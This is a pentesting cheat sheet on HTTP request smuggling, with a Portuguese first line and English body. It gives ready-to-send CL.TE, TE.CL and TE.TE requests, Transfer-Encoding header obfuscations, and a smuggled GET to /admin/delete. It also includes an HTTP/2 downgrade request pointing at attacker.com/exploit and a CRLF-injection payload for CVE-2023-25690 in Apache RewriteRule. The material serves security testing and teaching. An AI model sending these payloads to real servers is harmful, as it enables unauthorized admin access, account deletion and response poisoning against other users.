HTTP Request Smuggling
É uma técnica para interferir na maneira como um site processa sequências de solicitações HTTP recebidas de um ou mais usuários.
Assume the website has the following HTTP specification.
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=admin&password=admin
Copied!
If we change "Content-Length" to "Transfer-Encoding" as follow, the data is sent in chunks to server. Each chunk consists of the chunk size in bytes (it is expressed in hexadecimal).
The message is terminated with a chunk of size zero.
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
1d
username=admin&password=admin
0
Copied!
By the way, Transfer-Encoding header is not allowed in HTTP/2.
BurpSuite has the useful extension “HTTP Request Smuggler”.
The front-end server uses “Content-Length” header and the back-end server uses “Transfer-Encoding” header.
Send the following request twice.
POST /item HTTP/1.1
Host: example.com
Content-Length: 9
Transfer-Encoding: chunked
0
EVIL
Copied!
If the response delays, we may be able to request smuggling.
The front-end server uses the “Content-Length” header, so
POST /item HTTP/1.1
Host: example.com
Content-Length: 9
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: example.com
Foo: xGET / HTTP/1.1
Host: example.com
Copied!
The front-end server uses “Trans-Encoding” header and the back-end server uses “Content-Length” header. Send the following request twice.
If you use BurpSuite, check the “Update Content-Length” option is unchecked to avoid BurpSuite automatically changes the Content-Length depending on data sent.
POST HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked
4
EVIL
0
Copied!
If the response delays, we may be able to request smuggling.
Send the following request twice.
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Copied!
Both the front-end server and the back-end server support the “Transfer-Encoding” header but one of the servers can be induced not to process it by obfuscating the header.
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Copied!
If the target website ignores the Content-Length, you’re able to access the restricted page by request smuggling.
If you're using Burp Suite, send the target request to Repeater twice.
Now two requests should look like:
# Request 1
POST / HTTP/1.1
Host: example.com
Cookie: key=value
Connection: keep-alive
Content-Length: 0
GET /admin/delete?username=john
Foo: x
# -------------------------------------------------
# Request 2
GET / HTTP/1.1
Host: example.com
Cookie: key=value
Connection: close
Copied!
First off, if you're using Burp Suite, note that enabling the "Update Content-Length" in the Burp Repeater option. The sequence is Request 1 -> Request 2.
If you're using Burp Suite, note that disable "Update Content-Length" and enable "Allow HTTP/2 ALPN override" in the Burp Repeater option.
The request shoud look like:
POST / HTTP/2
Host: example.com
Content-Length: 0
GET /exploit HTTP/1.1
Host: attacker.com
Content-Length: 5
x=1
Copied!
Before doing, don't forget to expand the Inspector on the right in the Repeater and select "HTTP/2". Now send the request a few times.
Reference: https://github.com/dhmosfunk/CVE-2023-25690-POC
If target web server allows any characters (.*
) in RewriteRule
, it causes HTTP request smuggling.
RewriteEngine on
RewriteRule "^/products/(.*)" "http://127.0.0.1:8080/?productId=$1" [P]
ProxyPassReverse "/" "http://127.0.0.1:8080:/"
Copied!
GET /products/1%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
# It means the following:
#
# GET /products/1 HTTP/1.1
# Host: 127.0.0.1
#
# GET /SMUGGLED HTTP/1.1
Copied!
References
Last updated